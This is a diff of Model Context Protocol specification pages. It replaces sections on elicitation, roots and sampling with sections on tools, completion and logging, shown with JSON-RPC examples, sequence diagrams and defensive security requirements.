client. +**Response:** - - For additional background, refer to the [token passthrough - section](../basic/security_best_practices#token-passthrough) of the Security - Best Practices document to understand why MCP servers cannot act as - pass-through proxies. - +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "result": { + "tools": [ + { + "name": "get_weather", + "title": "Weather Information Provider", + "description": "Get current weather information for a location", + "inputSchema": { + "type": "object", + "properties": { + "location": { + "type": "string", + "description": "City name or zip code" + } + }, + "required": ["location"] + }, + "icons": [ + { + "src": "https://example.com/weather-icon.png", + "mimeType": "image/png", + "sizes": ["48x48"] + } + ], + "execution": { + "taskSupport": "optional" + } + } + ], + "nextCursor": "next-page-cursor" + } +} +``` -#### Implementation Pattern +### Calling Tools -When implementing external authorization via URL mode elicitation: +To invoke a tool, clients send a `tools/call` request: -1. The MCP server generates an authorization URL, acting as an OAuth client to the third-party service -2. The MCP server stores internal state that associates (binds) the elicitation request with the user's identity. -3. The MCP server sends a URL mode elicitation request to the client with a URL that can start the authorization flow. -4. The user completes the OAuth flow directly with the third-party authorization server -5. The third-party authorization server redirects back to the MCP server -6. The MCP server securely stores the third-party tokens, bound to the user's identity -7. Future MCP requests can leverage these stored tokens for API access to the third-party resource server +**Request:** -The following is a non-normative example of how this pattern could be implemented: +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 2, + "method": "tools/call", + "params": { + "name": "get_weather", + "arguments": { + "location": "New York" + } + } +} +``` -```mermaid theme={null} -sequenceDiagram - participant User - participant UserAgent as User Agent (Browser) - participant 3AS as 3rd Party AS - participant 3RS as 3rd Party RS - participant Client as MCP Client - participant Server as MCP Server +**Response:** - Client->>Server: tools/call - Note over Server: Needs 3rd-party authorization for user - Note over Server: Store state (bind the elicitation request to the user) - Server->>Client: URLElicitationRequiredError
(mode: "url", url: "https://mcp.example.com/connect?...") - Note over Client: Client notes the tools/call request can be retried later - Client->>User: Present consent to open URL - User->>Client: Provide consent - Client->>UserAgent: Open URL - Client->>Server: Accept response - UserAgent->>Server: Load connect route - Note over Server: Confirm: user is logged into MCP Server or MCP AS
Confirm: elicitation user matches session user - Server->>UserAgent: Redirect to third-party authorization endpoint - UserAgent->>3AS: Load authorize route - Note over 3AS,User: User interaction (OAuth flow):
User consents to scoped MCP Server access - 3AS->>UserAgent: redirect to MCP Server's redirect_uri - UserAgent->>Server: load redirect_uri page - Note over Server: Confirm: redirect_uri belongs to MCP Server - Server->>3AS: Exchange authorization code for OAuth tokens - 3AS->>Server: Grants tokens - Note over Server: Bind tokens to MCP user identity - Server-->>Client: notifications/elicitation/complete (optional) - Client->>Server: Retry tools/call - Note over Server: Retrieve token bound to user identity - Server->>3RS: Call 3rd-party API +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 2, + "result": { + "content": [ + { + "type": "text", + "text": "Current weather in New York:\nTemperature: 72°F\nConditions: Partly cloudy" + } + ], + "isError": false + } +} ``` -This pattern maintains clear security boundaries while enabling rich integrations with third-party services that require user authorization. +### List Changed Notification -## Error Handling +When the list of available tools changes, servers that declared the `listChanged` +capability **SHOULD** send a notification: -Servers **MUST** return standard JSON-RPC errors for common failure cases: +```json theme={null} +{ + "jsonrpc": "2.0", + "method": "notifications/tools/list_changed" +} +``` -* When a request cannot be processed until an elicitation is completed: `-32042` (`URLElicitationRequiredError`) +## Message Flow -Clients **MUST** return standard JSON-RPC errors for common failure cases: +```mermaid theme={null} +sequenceDiagram + participant LLM + participant Client + participant Server -* Server sends an `elicitation/create` request with a mode not declared in client capabilities: `-32602` (Invalid params) + Note over Client,Server: Discovery + Client->>Server: tools/list + Server-->>Client: List of tools -## Security Considerations + Note over Client,LLM: Tool Selection + LLM->>Client: Select tool to use -1. Servers **MUST** bind elicitation requests to the client and user identity -2. Clients **MUST** provide clear indication of which server is requesting information -3. Clients **SHOULD** implement user approval controls -4. Clients **SHOULD** allow users to decline elicitation requests at any time -5. Clients **SHOULD** implement rate limiting -6. Clients **SHOULD** present elicitation requests in a way that makes it clear what information is being requested and why + Note over Client,Server: Invocation + Client->>Server: tools/call + Server-->>Client: Tool result + Client->>LLM: Process result -### Safe URL Handling + Note over Client,Server: Updates + Server--)Client: tools/list_changed + Client->>Server: tools/list + Server-->>Client: Updated tools +``` -MCP servers requesting elicitation: +## Data Types -1. **MUST NOT** include sensitive information about the end-user, including credentials, personal identifiable information, etc., in the URL sent to the client in a URL elicitation request. -2. **MUST NOT** provide a URL which is pre-authenticated to access a protected resource, as the URL could be used to impersonate the user by a malicious client. -3. **SHOULD NOT** include URLs intended to be clickable in any field of a form mode elicitation request. -4. **SHOULD** use HTTPS URLs for non-development environments. +### Tool -These server requirements ensure that client implementations have clear rules about when to present a URL to the user, so that the client-side rules (below) can be consistently applied. +A tool definition includes: -Clients implementing URL mode elicitation **MUST** handle URLs carefully to prevent users from unknowingly clicking malicious links. +* `name`: Unique identifier for the tool +* `title`: Optional human-readable name of the tool for display purposes. +* `description`: Human-readable description of functionality +* `icons`: Optional array of icons for display in user interfaces +* `inputSchema`: JSON Schema defining expected parameters + * Follows the [JSON Schema usage guidelines](/specification/2025-11-25/basic#json-schema-usage) + * Defaults to 2020-12 if no `$schema` field is present + * **MUST** be a valid JSON Schema object (not `null`) + * For tools with no parameters, use one of these valid approaches: + * `{ "type": "object", "additionalProperties": false }` - **Recommended**: explicitly accepts only empty objects + * `{ "type": "object" }` - accepts any object (including with properties) +* `outputSchema`: Optional JSON Schema defining expected output structure + * Follows the [JSON Schema usage guidelines](/specification/2025-11-25/basic#json-schema-usage) + * Defaults to 2020-12 if no `$schema` field is present +* `annotations`: Optional properties describing tool behavior +* `execution`: Optional object describing execution-related properties + * `taskSupport`: Indicates whether this tool supports [task-augmented execution](/specification/2025-11-25/basic/utilities/tasks#tool-level-negotiation). Values: `"forbidden"` (default), `"optional"`, or `"required"` -When handling URL mode elicitation requests, MCP clients: + + For trust & safety and security, clients **MUST** consider tool annotations to + be untrusted unless they come from trusted servers. + -1. **MUST NOT** automatically pre-fetch the URL or any of its metadata. -2. **MUST NOT** open the URL without explicit consent from the user. -3. **MUST** show the full URL to the user for examination before consent. -4. **MUST** open the URL provided by the server in a secure manner that does not enable the client or LLM to inspect the content or user inputs. - For example, on iOS, [SFSafariViewController](https://developer.apple.com/documentation/safariservices/sfsafariviewcontroller) is good, but [WkWebView](https://developer.apple.com/documentation/webkit/wkwebview) is not. -5. **SHOULD** highlight the domain of the URL to mitigate subdomain spoofing. -6. **SHOULD** have warnings for ambiguous/suspicious URIs (i.e., containing Punycode). -7. **SHOULD NOT** render URLs as clickable in any field of an elicitation request, except for the `url` field in a URL elicitation request (with the restrictions detailed above). +#### Tool Names -### Identifying the User +* Tool names **SHOULD** be between 1 and 128 characters in length (inclusive). +* Tool names **SHOULD** be considered case-sensitive. +* The following **SHOULD** be the only allowed characters: uppercase and lowercase ASCII letters (A-Z, a-z), digits + (0-9), underscore (\_), hyphen (-), and dot (.) +* Tool names **SHOULD NOT** contain spaces, commas, or other special characters. +* Tool names **SHOULD** be unique within a server. +* Example valid tool names: + * getUser + * DATA\_EXPORT\_v2 + * admin.tools.list -Servers **MUST NOT** rely on client-provided user identification without server verification, as this can be forged. -Instead, servers **SHOULD** follow [security best practices](../basic/security_best_practices). +### Tool Result -Non-normative examples: +Tool results may contain [**structured**](#structured-content) or **unstructured** content. -* Incorrect: Treat user input like "I am [joe@example.com](mailto:joe@example.com)" as authoritative -* Correct: Rely on [authorization](../basic/authorization) to identify the user +**Unstructured** content is returned in the `content` field of a result, and can contain multiple content items of different types: -### Form Mode Security + + All content types (text, image, audio, resource links, and embedded resources) + support optional + [annotations](/specification/2025-11-25/server/resources#annotations) that + provide metadata about audience, priority, and modification times. This is the + same annotation format used by resources and prompts. + -1. Servers **MUST NOT** request sensitive information (passwords, API keys, etc.) via form mode -2. Clients **SHOULD** validate all responses against the provided schema -3. Servers **SHOULD** validate received data matches the requested schema +#### Text Content -#### Phishing +```json theme={null} +{ + "type": "text", + "text": "Tool result text" +} +``` -URL mode elicitation returns a URL that an attacker can use to send to a victim. The MCP Server **MUST** verify the identity of the user who opens the URL before accepting information. +#### Image Content -Typically identity verification is done by leveraging the [MCP authorization server](../basic/authorization) to identify the user, through a session cookie or equivalent in the browser. +```json theme={null} +{ + "type": "image", + "data": "base64-encoded-data", + "mimeType": "image/png", + "annotations": { + "audience": ["user"], + "priority": 0.9 + } +} +``` -For example, URL mode elicitation may be used to perform OAuth flows where the server acts as an OAuth client of another resource server. Without proper mitigation, the following phishing attack is possible: +#### Audio Content -1. A malicious user (Alice) connected to a benign server triggers an elicitation request -2. The benign server generates an authorization URL, acting as an OAuth client of a third-party authorization server -3. Alice's client displays the URL and asks for consent -4. Instead of clicking on the link, Alice tricks a victim user (Bob) of the same benign server into clicking it -5. Bob opens the link and completes the authorization, thinking they are authorizing their own connection to the benign server -6. The benign server receives a callback/redirect form the third-party authorization server, and assumes it's Alice's request -7. The tokens for the third-party server are bound to Alice's session and identity, instead of Bob's, resulting in an account takeover +```json theme={null} +{ + "type": "audio", + "data": "base64-encoded-audio-data", + "mimeType": "audio/wav" +} +``` -To prevent this attack, the server **MUST** ensure that the user who started the elicitation request (the end-user who is accessing the server via the MCP client) is the same user who completes the authorization flow. +#### Resource Links -There are many ways to achieve this and the best way will depend on the specific implementation. +A tool **MAY** return links to [Resources](/specification/2025-11-25/server/resources), to provide additional context +or data. In this case, the tool will return a URI that can be subscribed to or fetched by the client: -As a common, non-normative example, consider a case where the MCP server is accessible via the web and desires to perform a third-party authorization code flow. -To prevent the phishing attack, the server would create a URL mode elicitation to `https://mcp.example.com/connect?elicitationId=...` rather than the third-party authorization endpoint. -This "connect URL" must ensure the user who opened the page is the same user who the elicitation was generated for. -It would, for example, check that the user has a valid session cookie and that the session cookie is for the same user who was using the MCP client to generate the URL mode elicitation. -This could be done by comparing the authoritative subject (`sub` claim) from the MCP server's authorization server to the subject from the session cookie. -Once that page ensures the same user, it can send the user to the third-party authorization server at `https://example.com/authorize?...` where a normal OAuth flow can be completed. +```json theme={null} +{ + "type": "resource_link", + "uri": "file:///project/src/main.rs", + "name": "main.rs", + "description": "Primary application entry point", + "mimeType": "text/x-rust" +} +``` -In other cases, the server may not be accessible via the web and may not be able to use a session cookie to identify the user. -In this case, the server must use a different mechanism to identify the user who opens the elicitation URL is the same user who the elicitation was generated for. +Resource links support the same [Resource annotations](/specification/2025-11-25/server/resources#annotations) as regular resources to help clients understand how to use them. -In all implementations, the server **MUST** ensure that the mechanism to determine the user's identity is resilient to attacks where an attacker can modify the elicitation URL. + + Resource links returned by tools are not guaranteed to appear in the results + of a `resources/list` request. + +#### Embedded Resources -# Roots -Source: https://modelcontextprotocol.io/specification/2025-11-25/client/roots +[Resources](/specification/2025-11-25/server/resources) **MAY** be embedded to provide additional context +or data using a suitable [URI scheme](./resources#common-uri-schemes). Servers that use embedded resources **SHOULD** implement the `resources` capability: +```json theme={null} +{ + "type": "resource", + "resource": { + "uri": "file:///project/src/main.rs", + "mimeType": "text/x-rust", + "text": "fn main() {\n println!(\"Hello world!\");\n}", + "annotations": { + "audience": ["user", "assistant"], + "priority": 0.7, + "lastModified": "2025-05-03T14:30:00Z" + } + } +} +``` +Embedded resources support the same [Resource annotations](/specification/2025-11-25/server/resources#annotations) as regular resources to help clients understand how to use them. -
+#### Structured Content -**Protocol Revision**: 2025-11-25 +**Structured** content is returned as a JSON object in the `structuredContent` field of a result. -The Model Context Protocol (MCP) provides a standardized way for clients to expose -filesystem "roots" to servers. Roots define the boundaries of where servers can operate -within the filesystem, allowing them to understand which directories and files they have -access to. Servers can request the list of roots from supporting clients and receive -notifications when that list changes. +For backwards compatibility, a tool that returns structured content SHOULD also return the serialized JSON in a TextContent block. -## User Interaction Model +#### Output Schema -Roots in MCP are typically exposed through workspace or project configuration interfaces. +Tools may also provide an output schema for validation of structured results. +If an output schema is provided: -For example, implementations could offer a workspace/project picker that allows users to -select directories and files the server should have access to. This can be combined with -automatic workspace detection from version control systems or project files. +* Servers **MUST** provide structured results that conform to this schema. +* Clients **SHOULD** validate structured results against this schema. -However, implementations are free to expose roots through any interface pattern that -suits their needs—the protocol itself does not mandate any specific user -interaction model. +Example tool with output schema: -## Capabilities +```json theme={null} +{ + "name": "get_weather_data", + "title": "Weather Data Retriever", + "description": "Get current weather data for a location", + "inputSchema": { + "type": "object", + "properties": { + "location": { + "type": "string", + "description": "City name or zip code" + } + }, + "required": ["location"] + }, + "outputSchema": { + "type": "object", + "properties": { + "temperature": { + "type": "number", + "description": "Temperature in celsius" + }, + "conditions": { + "type": "string", + "description": "Weather conditions description" + }, + "humidity": { + "type": "number", + "description": "Humidity percentage" + } + }, + "required": ["temperature", "conditions", "humidity"] + } +} +``` -Clients that support roots **MUST** declare the `roots` capability during -[initialization](/specification/2025-11-25/basic/lifecycle#initialization): +Example valid response for this tool: ```json theme={null} { - "capabilities": { - "roots": { - "listChanged": true + "jsonrpc": "2.0", + "id": 5, + "result": { + "content": [ + { + "type": "text", + "text": "{\"temperature\": 22.5, \"conditions\": \"Partly cloudy\", \"humidity\": 65}" + } + ], + "structuredContent": { + "temperature": 22.5, + "conditions": "Partly cloudy", + "humidity": 65 } } } ``` -`listChanged` indicates whether the client will emit notifications when the list of roots -changes. - -## Protocol Messages +Providing an output schema helps clients and LLMs understand and properly handle structured tool outputs by: -### Listing Roots +* Enabling strict schema validation of responses +* Providing type information for better integration with programming languages +* Guiding clients and LLMs to properly parse and utilize the returned data +* Supporting better documentation and developer experience -To retrieve roots, servers send a `roots/list` request: +### Schema Examples -**Request:** +#### Tool with default 2020-12 schema: ```json theme={null} { - "jsonrpc": "2.0", - "id": 1, - "method": "roots/list" + "name": "calculate_sum", + "description": "Add two numbers", + "inputSchema": { + "type": "object", + "properties": { + "a": { "type": "number" }, + "b": { "type": "number" } + }, + "required": ["a", "b"] + } } ``` -**Response:** +#### Tool with explicit draft-07 schema: ```json theme={null} { - "jsonrpc": "2.0", - "id": 1, - "result": { - "roots": [ - { - "uri": "file:///home/user/projects/myproject", - "name": "My Project" - } - ] + "name": "calculate_sum", + "description": "Add two numbers", + "inputSchema": { + "$schema": "http://json-schema.org/draft-07/schema#", + "type": "object", + "properties": { + "a": { "type": "number" }, + "b": { "type": "number" } + }, + "required": ["a", "b"] } } ``` -### Root List Changes - -When roots change, clients that support `listChanged` **MUST** send a notification: +#### Tool with no parameters: ```json theme={null} { - "jsonrpc": "2.0", - "method": "notifications/roots/list_changed" + "name": "get_current_time", + "description": "Returns the current server time", + "inputSchema": { + "type": "object", + "additionalProperties": false + } } ``` -## Message Flow - -```mermaid theme={null} -sequenceDiagram - participant Server - participant Client - - Note over Server,Client: Discovery - Server->>Client: roots/list - Client-->>Server: Available roots - - Note over Server,Client: Changes - Client--)Server: notifications/roots/list_changed - Server->>Client: roots/list - Client-->>Server: Updated roots -``` - -## Data Types +## Error Handling -### Root +Tools use two error reporting mechanisms: -A root definition includes: +1. **Protocol Errors**: Standard JSON-RPC errors for issues like: + * Unknown tools + * Malformed requests (requests that fail to satisfy [CallToolRequest schema](/specification/2025-11-25/schema#calltoolrequest)) + * Server errors -* `uri`: Unique identifier for the root. This **MUST** be a `file://` URI in the current - specification. -* `name`: Optional human-readable name for display purposes. +2. **Tool Execution Errors**: Reported in tool results with `isError: true`: + * API failures + * Input validation errors (e.g., date in wrong format, value out of range) + * Business logic errors -Example roots for different use cases: +**Tool Execution Errors** contain actionable feedback that language models can use to self-correct and retry with adjusted parameters. +**Protocol Errors** indicate issues with the request structure itself that models are less likely to be able to fix. +Clients **SHOULD** provide tool execution errors to language models to enable self-correction. +Clients **MAY** provide protocol errors to language models, though these are less likely to result in successful recovery. -#### Project Directory +Example protocol error: ```json theme={null} { - "uri": "file:///home/user/projects/myproject", - "name": "My Project" -} -``` - -#### Multiple Repositories - -```json theme={null} -[ - { - "uri": "file:///home/user/repos/frontend", - "name": "Frontend Repository" - }, - { - "uri": "file:///home/user/repos/backend", - "name": "Backend Repository" + "jsonrpc": "2.0", + "id": 3, + "error": { + "code": -32602, + "message": "Unknown tool: invalid_tool_name" } -] +} ``` -## Error Handling - -Clients **SHOULD** return standard JSON-RPC errors for common failure cases: - -* Client does not support roots: `-32601` (Method not found) -* Internal errors: `-32603` - -Example error: +Example tool execution error (input validation): ```json theme={null} { "jsonrpc": "2.0", - "id": 1, - "error": { - "code": -32601, - "message": "Roots not supported", - "data": { - "reason": "Client does not have roots capability" - } + "id": 4, + "result": { + "content": [ + { + "type": "text", + "text": "Invalid departure date: must be in the future. Current date is 08/08/2025." + } + ], + "isError": true } } ``` ## Security Considerations -1. Clients **MUST**: - * Only expose roots with appropriate permissions - * Validate all root URIs to prevent path traversal +1. Servers **MUST**: + * Validate all tool inputs * Implement proper access controls - * Monitor root accessibility - -2. Servers **SHOULD**: - * Handle cases where roots become unavailable - * Respect root boundaries during operations - * Validate all paths against provided roots - -## Implementation Guidelines - -1. Clients **SHOULD**: - * Prompt users for consent before exposing roots to servers - * Provide clear user interfaces for root management - * Validate root accessibility before exposing - * Monitor for root changes + * Rate limit tool invocations + * Sanitize tool outputs -2. Servers **SHOULD**: - * Check for roots capability before usage - * Handle root list changes gracefully - * Respect root boundaries in operations - * Cache root information appropriately +2. Clients **SHOULD**: + * Prompt for user confirmation on sensitive operations + * Show tool inputs to the user before calling the server, to avoid malicious or + accidental data exfiltration + * Validate tool results before passing to LLM + * Implement timeouts for tool calls + * Log tool usage for audit purposes -# Sampling -Source: https://modelcontextprotocol.io/specification/2025-11-25/client/sampling +# Completion +Source: https://modelcontextprotocol.io/specification/2025-11-25/server/utilities/completion
-**Protocol Revision**: 2025-11-25 - -The Model Context Protocol (MCP) provides a standardized way for servers to request LLM -sampling ("completions" or "generations") from language models via clients. This flow -allows clients to maintain control over model access, selection, and permissions while -enabling servers to leverage AI capabilities—with no server API keys necessary. -Servers can request text, audio, or image-based interactions and optionally include -context from MCP servers in their prompts. +The Model Context Protocol (MCP) provides a standardized way for servers to offer +autocompletion suggestions for the arguments of prompts and resource templates. When +users are filling in argument values for a specific prompt (identified by name) or +resource template (identified by URI), servers can provide contextual suggestions. ## User Interaction Model -Sampling in MCP allows servers to implement agentic behaviors, by enabling LLM calls to -occur *nested* inside other MCP server features. - -Implementations are free to expose sampling through any interface pattern that suits -their needs—the protocol itself does not mandate any specific user interaction -model. - - - For trust & safety and security, there **SHOULD** always - be a human in the loop with the ability to deny sampling requests. - - Applications **SHOULD**: - - * Provide UI that makes it easy and intuitive to review sampling requests - * Allow users to view and edit prompts before sending - * Present generated responses for review before delivery - - -## Tools in Sampling - -Servers can request that the client's LLM use tools during sampling by providing a `tools` array and optional `toolChoice` configuration in their sampling requests. This enables servers to implement agentic behaviors where the LLM can call tools, receive results, and continue the conversation - all within a single sampling request flow. - -Clients **MUST** declare support for tool use via the `sampling.tools` capability to receive tool-enabled sampling requests. Servers **MUST NOT** send tool-enabled sampling requests to Clients that have not declared support for tool use via the `sampling.tools` capability. +Completion in MCP is designed to support interactive user experiences similar to IDE code +completion. -## Capabilities +For example, applications may show completion suggestions in a dropdown or popup menu as +users type, with the ability to filter and select from available options. -Clients that support sampling **MUST** declare the `sampling` capability during -[initialization](/specification/2025-11-25/basic/lifecycle#initialization): +However, implementations are free to expose completion through any interface pattern that +suits their needs—the protocol itself does not mandate any specific user +interaction model. -**Basic sampling:** +## Capabilities + +Servers that support completions **MUST** declare the `completions` capability: ```json theme={null} { "capabilities": { - "sampling": {} + "completions": {} } } ``` -**With tool use support:** +## Protocol Messages + +### Requesting Completions + +To get completion suggestions, clients send a `completion/complete` request specifying +what is being completed through a reference type: + +**Request:** ```json theme={null} { - "capabilities": { - "sampling": { - "tools": {} + "jsonrpc": "2.0", + "id": 1, + "method": "completion/complete", + "params": { + "ref": { + "type": "ref/prompt", + "name": "code_review" + }, + "argument": { + "name": "language", + "value": "py" } } } ``` -**With context inclusion support (soft-deprecated):** +**Response:** ```json theme={null} { - "capabilities": { - "sampling": { - "context": {} + "jsonrpc": "2.0", + "id": 1, + "result": { + "completion": { + "values": ["python", "pytorch", "pyside"], + "total": 10, + "hasMore": true } } } ``` - - The `includeContext` parameter values `"thisServer"` and `"allServers"` are - soft-deprecated. Servers **SHOULD** avoid using these values (e.g. can just - omit `includeContext` since it defaults to `"none"`), and **SHOULD NOT** use - them unless the client declares `sampling.context` capability. These values - may be removed in future spec releases. - - -## Protocol Messages - -### Creating Messages - -To request a language model generation, servers send a `sampling/createMessage` request: +For prompts or URI templates with multiple arguments, clients should include previous completions in the `context.arguments` object to provide context for subsequent requests. **Request:** @@ -11883,28 +19061,21 @@ To request a language model generation, servers send a `sampling/createMessage` { "jsonrpc": "2.0", "id": 1, - "method": "sampling/createMessage", + "method": "completion/complete", "params": { - "messages": [ - { - "role": "user", - "content": { - "type": "text", - "text": "What is the capital of France?" - } - } - ], - "modelPreferences": { - "hints": [ - { - "name": "claude-3-sonnet" - } - ], - "intelligencePriority": 0.8, - "speedPriority": 0.5 + "ref": { + "type": "ref/prompt", + "name": "code_review" }, - "systemPrompt": "You are a helpful assistant.", - "maxTokens": 100 + "argument": { + "name": "framework", + "value": "fla" + }, + "context": { + "arguments": { + "language": "python" + } + } } } ``` @@ -11916,5172 +19087,4858 @@ To request a language model generation, servers send a `sampling/createMessage` "jsonrpc": "2.0", "id": 1, "result": { - "role": "assistant", - "content": { - "type": "text", - "text": "The capital of France is Paris." - }, - "model": "claude-3-sonnet-20240307", - "stopReason": "endTurn" + "completion": { + "values": ["flask"], + "total": 1, + "hasMore": false + } } } ``` -### Sampling with Tools +### Reference Types -The following diagram illustrates the complete flow of sampling with tools, including the multi-turn tool loop: +The protocol supports two types of completion references: + +| Type | Description | Example | +| -------------- | --------------------------- | --------------------------------------------------- | +| `ref/prompt` | References a prompt by name | `{"type": "ref/prompt", "name": "code_review"}` | +| `ref/resource` | References a resource URI | `{"type": "ref/resource", "uri": "file:///{path}"}` | + +### Completion Results + +Servers return an array of completion values ranked by relevance, with: + +* Maximum 100 items per response +* Optional total number of available matches +* Boolean indicating if additional results exist + +## Message Flow ```mermaid theme={null} sequenceDiagram - participant Server participant Client - participant User - participant LLM + participant Server - Note over Server,Client: Initial request with tools - Server->>Client: sampling/createMessage
(messages + tools) + Note over Client: User types argument + Client->>Server: completion/complete + Server-->>Client: Completion suggestions - Note over Client,User: Human-in-the-loop review - Client->>User: Present request for approval - User-->>Client: Approve/modify + Note over Client: User continues typing + Client->>Server: completion/complete + Server-->>Client: Refined suggestions +``` - Client->>LLM: Forward request with tools - LLM-->>Client: Response with tool_use
(stopReason: "toolUse") +## Data Types - Client->>User: Present tool calls for review - User-->>Client: Approve tool calls - Client-->>Server: Return tool_use response +### CompleteRequest - Note over Server: Execute tool(s) - Server->>Server: Run get_weather("Paris")
Run get_weather("London") +* `ref`: A `PromptReference` or `ResourceReference` +* `argument`: Object containing: + * `name`: Argument name + * `value`: Current value +* `context`: Object containing: + * `arguments`: A mapping of already-resolved argument names to their values. - Note over Server,Client: Continue with tool results - Server->>Client: sampling/createMessage
(history + tool_results + tools) +### CompleteResult - Client->>User: Present continuation - User-->>Client: Approve +* `completion`: Object containing: + * `values`: Array of suggestions (max 100) + * `total`: Optional total matches + * `hasMore`: Additional results flag - Client->>LLM: Forward with tool results - LLM-->>Client: Final text response
(stopReason: "endTurn") +## Error Handling - Client->>User: Present response - User-->>Client: Approve - Client-->>Server: Return final response +Servers **SHOULD** return standard JSON-RPC errors for common failure cases: - Note over Server: Server processes result
(may continue conversation...) -``` +* Method not found: `-32601` (Capability not supported) +* Invalid prompt name: `-32602` (Invalid params) +* Missing required arguments: `-32602` (Invalid params) +* Internal errors: `-32603` (Internal error) -To request LLM generation with tool use capabilities, servers include `tools` and optionally `toolChoice` in the request: +## Implementation Considerations -**Request (Server -> Client):** +1. Servers **SHOULD**: + * Return suggestions sorted by relevance + * Implement fuzzy matching where appropriate + * Rate limit completion requests + * Validate all inputs -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 1, - "method": "sampling/createMessage", - "params": { - "messages": [ - { - "role": "user", - "content": { - "type": "text", - "text": "What's the weather like in Paris and London?" - } - } - ], - "tools": [ - { - "name": "get_weather", - "description": "Get current weather for a city", - "inputSchema": { - "type": "object", - "properties": { - "city": { - "type": "string", - "description": "City name" - } - }, - "required": ["city"] - } - } - ], - "toolChoice": { - "mode": "auto" - }, - "maxTokens": 1000 - } -} -``` +2. Clients **SHOULD**: + * Debounce rapid completion requests + * Cache completion results where appropriate + * Handle missing or partial results gracefully -**Response (Client -> Server):** +## Security -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 1, - "result": { - "role": "assistant", - "content": [ - { - "type": "tool_use", - "id": "call_abc123", - "name": "get_weather", - "input": { - "city": "Paris" - } - }, - { - "type": "tool_use", - "id": "call_def456", - "name": "get_weather", - "input": { - "city": "London" - } - } - ], - "model": "claude-3-sonnet-20240307", - "stopReason": "toolUse" - } -} -``` +Implementations **MUST**: + +* Validate all completion inputs +* Implement appropriate rate limiting +* Control access to sensitive suggestions +* Prevent completion-based information disclosure -### Multi-turn Tool Loop -After receiving tool use requests from the LLM, the server typically: +# Logging +Source: https://modelcontextprotocol.io/specification/2025-11-25/server/utilities/logging -1. Executes the requested tool uses. -2. Sends a new sampling request with the tool results appended -3. Receives the LLM's response (which might contain new tool uses) -4. Repeats as many times as needed (server might cap the maximum number of iterations, and e.g. pass `toolChoice: {mode: "none"}` on the last iteration to force a final result) -**Follow-up request (Server -> Client) with tool results:** -```json theme={null} -{ - "jsonrpc": "2.0", - "id": 2, - "method": "sampling/createMessage", - "params": { - "messages": [ - { - "role": "user", - "content": { - "type": "text", - "text": "What's the weather like in Paris and London?" - } - }, - { - "role": "assistant", - "content": [ - { - "type": "tool_use", - "id": "call_abc123", - "name": "get_weather", - "input": { "city": "Paris" } - }, - { - "type": "tool_use", - "id": "call_def456", - "name": "get_weather", - "input": { "city": "London" } - } - ] - }, - { - "role": "user", - "content": [ - { - "type": "tool_result", - "toolUseId": "call_abc123", - "content": [ - { - "type": "text", - "text": "Weather in Paris: 18°C, partly cloudy" - } - ] - }, - { - "type": "tool_result", - "toolUseId": "call_def456", - "content": [ - { - "type": "text", - "text": "Weather in London: 15°C, rainy" - } - ] - } - ] - } - ], - "tools": [ - { - "name": "get_weather", - "description": "Get current weather for a city", - "inputSchema": { - "type": "object", - "properties": { - "city": { "type": "string" } - }, - "required": ["city"] - } - } - ], - "maxTokens": 1000 - } -} -``` +
-**Final response (Client -> Server):** +The Model Context Protocol (MCP) provides a standardized way for servers to send +structured log messages to clients. Clients can control logging verbosity by setting +minimum log levels, with servers sending notifications containing severity levels, +optional logger names, and arbitrary JSON-serializable data. + +## User Interaction Model + +Implementations are free to expose logging through any interface pattern that suits their +needs—the protocol itself does not mandate any specific user interaction model. + +## Capabilities + +Servers that emit log message notifications **MUST** declare the `logging` capability: ```json theme={null} { - "jsonrpc": "2.0", - "id": 2, - "result": { - "role": "assistant", - "content": { - "type": "text", - "text": "Based on the current weather data:\n\n- **Paris**: 18°C and partly cloudy - quite pleasant!\n- **London**: 15°C and rainy - you'll want an umbrella.\n\nParis has slightly warmer and drier conditions today." - }, - "model": "claude-3-sonnet-20240307", - "stopReason": "endTurn" + "capabilities": { + "logging": {} } } ``` -## Message Content Constraints +## Log Levels -### Tool Result Messages +The protocol follows the standard syslog severity levels specified in +[RFC 5424](https://datatracker.ietf.org/doc/html/rfc5424#section-6.2.1): -When a user message contains tool results (type: "tool\_result"), it **MUST** contain ONLY tool results. Mixing tool results with other content types (text, image, audio) in the same message is not allowed. +| Level | Description | Example Use Case | +| --------- | -------------------------------- | -------------------------- | +| debug | Detailed debugging information | Function entry/exit points | +| info | General informational messages | Operation progress updates | +| notice | Normal but significant events | Configuration changes | +| warning | Warning conditions | Deprecated feature usage | +| error | Error conditions | Operation failures | +| critical | Critical conditions | System component failures | +| alert | Action must be taken immediately | Data corruption detected | +| emergency | System is unusable | Complete system failure | -This constraint ensures compatibility with provider APIs that use dedicated roles for tool results (e.g., OpenAI's "tool" role, Gemini's "function" role). +## Protocol Messages -**Valid - single tool result:** +### Setting Log Level -```json theme={null} -{ - "role": "user", - "content": { - "type": "tool_result", - "toolUseId": "call_123", - "content": [{ "type": "text", "text": "Result data" }] - } -} -``` +To configure the minimum log level, clients **MAY** send a `logging/setLevel` request: -**Valid - multiple tool results:** +**Request:** ```json theme={null} { - "role": "user", - "content": [ - { - "type": "tool_result", - "toolUseId": "call_123", - "content": [{ "type": "text", "text": "Result 1" }] - }, - { - "type": "tool_result", - "toolUseId": "call_456", - "content": [{ "type": "text", "text": "Result 2" }] - } - ] + "jsonrpc": "2.0", + "id": 1, + "method": "logging/setLevel", + "params": { + "level": "info" + } } ``` -**Invalid - mixed content:** +### Log Message Notifications + +Servers send log messages using `notifications/message` notifications: ```json theme={null} { - "role": "user", - "content": [ - { - "type": "text", - "text": "Here are the results:" - }, - { - "type": "tool_result", - "toolUseId": "call_123", - "content": [{ "type": "text", "text": "Result data" }] + "jsonrpc": "2.0", + "method": "notifications/message", + "params": { + "level": "error", + "logger": "database", + "data": { + "error": "Connection failed", + "details": { + "host": "localhost", + "port": 5432 + } } - ] + } } ``` -### Tool Use and Result Balance - -When using tool use in sampling, every assistant message containing `ToolUseContent` blocks **MUST** be followed by a user message that consists entirely of `ToolResultContent` blocks, with each tool use (e.g. with `id: $id`) matched by a corresponding tool result (with `toolUseId: $id`), before any other message. - -This requirement ensures: - -* Tool uses are always resolved before the conversation continues -* Provider APIs can concurrently process multiple tool uses and fetch their results in parallel -* The conversation maintains a consistent request-response pattern - -**Example valid sequence:** - -1. User message: "What's the weather like in Paris and London?" -2. Assistant message: 